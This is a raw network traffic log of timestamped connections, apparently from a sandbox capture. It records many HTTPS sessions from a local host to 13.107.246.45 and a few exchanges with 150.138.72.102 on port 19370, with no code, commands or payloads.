Oct 17, 2024 18:18:19.416812897 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.417308092 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.417323112 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.418029070 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.418035030 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.495647907 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.495727062 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.495897055 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.502335072 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.502456903 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.507412910 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.507441044 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.507628918 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.516284943 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.516314983 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.516669035 CEST	49720	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.516678095 CEST	443	49720	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.517491102 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.517530918 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.517560959 CEST	49719	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.517569065 CEST	443	49719	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.526231050 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.526267052 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.526386976 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.527600050 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.527609110 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.527786970 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.528142929 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.528152943 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.535012960 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.535026073 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.537724972 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.537861109 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.538106918 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.538106918 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.538187027 CEST	49723	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.538203955 CEST	443	49723	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.545105934 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.545628071 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.545710087 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.545710087 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.545805931 CEST	49722	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.545819044 CEST	443	49722	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.566310883 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.568186045 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.568229914 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.569540024 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.569633961 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.569659948 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.569852114 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.569984913 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.570007086 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.570065022 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.570065022 CEST	49721	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.570077896 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.570086956 CEST	443	49721	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.575123072 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:19.580184937 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.580225945 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.580310106 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.583818913 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.583837986 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.585350990 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.585385084 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.585619926 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.587728024 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:19.587739944 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:19.740195990 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.745409966 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:19.875734091 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:19.880753040 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:20.046921015 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:20.052030087 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:20.092127085 CEST	19370	49724	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:20.095858097 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:20.211214066 CEST	49724	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:20.505214930 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.505547047 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.505685091 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.507349014 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.510787010 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.510787010 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.510802031 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.510813951 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.511495113 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.511511087 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.511910915 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.511914968 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.512481928 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.512495041 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.512866974 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.512871027 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.513088942 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.513097048 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.513447046 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.513449907 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.593491077 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.638178110 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.638370037 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.639754057 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.640217066 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.640423059 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.640527964 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.640774012 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.641187906 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.642283916 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.667205095 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.670531034 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.670697927 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.670784950 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.732701063 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.732726097 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.733185053 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.733205080 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.733213902 CEST	49729	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.733218908 CEST	443	49729	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.733244896 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.733257055 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.733372927 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.733372927 CEST	49727	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.733398914 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.733411074 CEST	443	49727	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.745672941 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.745692015 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.745703936 CEST	49725	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.745708942 CEST	443	49725	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.754196882 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.754203081 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.754215002 CEST	49726	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.754219055 CEST	443	49726	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.898570061 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.898745060 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.900648117 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.979212046 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.979274988 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.979341984 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.983016968 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.983043909 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:20.983066082 CEST	49728	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:20.983072042 CEST	443	49728	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.002136946 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.002172947 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.018126965 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.018158913 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.018353939 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.020164013 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.020191908 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.020360947 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.020430088 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.020441055 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.021135092 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.021146059 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.023576021 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.023612976 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.023710012 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.023838997 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.023850918 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.028971910 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.028994083 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.029055119 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.029333115 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.029344082 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.789442062 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.792207003 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.798080921 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.798095942 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.798635960 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.798640966 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.800000906 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.800025940 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.800590038 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.800607920 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.804877043 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.806395054 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.806411028 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.806773901 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.806777954 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.808656931 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.809165955 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.809185028 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.809544086 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.809551001 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.811615944 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.813056946 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.813066959 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.813769102 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.813774109 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.937725067 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.937838078 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.938167095 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.939363003 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.939735889 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.939783096 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.955323935 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.956289053 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.957753897 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.957843065 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.957999945 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.958054066 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.960333109 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.960402966 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.960463047 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.965248108 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.965248108 CEST	49732	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.965272903 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.965284109 CEST	443	49732	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.966325045 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.966347933 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.966362953 CEST	49733	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.966370106 CEST	443	49733	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.968571901 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.968571901 CEST	49734	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.968610048 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.968615055 CEST	443	49734	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.969105005 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.969135046 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.969147921 CEST	49731	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.969153881 CEST	443	49731	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.971833944 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.971857071 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.971878052 CEST	49730	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.971884012 CEST	443	49730	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.977214098 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.977252960 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.977329016 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.977520943 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.977549076 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.977670908 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.979178905 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.979192972 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.979334116 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.979343891 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.980576038 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.980607033 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.980834961 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.980945110 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.980957031 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.985174894 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.985205889 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.985291958 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.991827965 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.991851091 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.991904020 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.992046118 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.992053986 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:21.994015932 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:21.994035006 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.742463112 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.744139910 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.744168043 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.744510889 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.744592905 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.744597912 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.745425940 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.745443106 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.745964050 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.745971918 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.761560917 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.764575958 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.764597893 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.765044928 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.765055895 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.770421982 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.771524906 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.771539927 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.771958113 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.771964073 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.882405996 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.883224010 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.883282900 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.888611078 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.888757944 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.888921976 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.904679060 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.904828072 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.904887915 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.906744957 CEST	49736	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.906773090 CEST	443	49736	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.907670021 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.907692909 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.907776117 CEST	49735	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.907784939 CEST	443	49735	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.908499002 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.908514023 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.908526897 CEST	49738	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.908531904 CEST	443	49738	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.910222054 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.913517952 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.913531065 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.913959980 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.913964987 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.919378042 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.919497013 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.919682980 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.920885086 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.920900106 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.920913935 CEST	49739	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.920918941 CEST	443	49739	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.944376945 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.944421053 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.944700956 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.944907904 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.944922924 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.960186005 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.960236073 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.960441113 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.961508036 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.961517096 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:22.961581945 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.961810112 CEST	49742	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:22.961821079 CEST	443	49742	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.006177902 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.006217957 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.006294012 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.011132002 CEST	49741	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.011148930 CEST	443	49741	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.015088081 CEST	49743	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.015110016 CEST	443	49743	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.050512075 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.050931931 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.053757906 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.125322104 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.125359058 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.125375032 CEST	49737	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.125381947 CEST	443	49737	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.302184105 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.302236080 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.302462101 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.405781031 CEST	49744	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.405817032 CEST	443	49744	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.709541082 CEST	443	49740	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:23.713258982 CEST	49740	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:23.713304043 CEST	443	49740	13.107.246.45	192.168.2.6
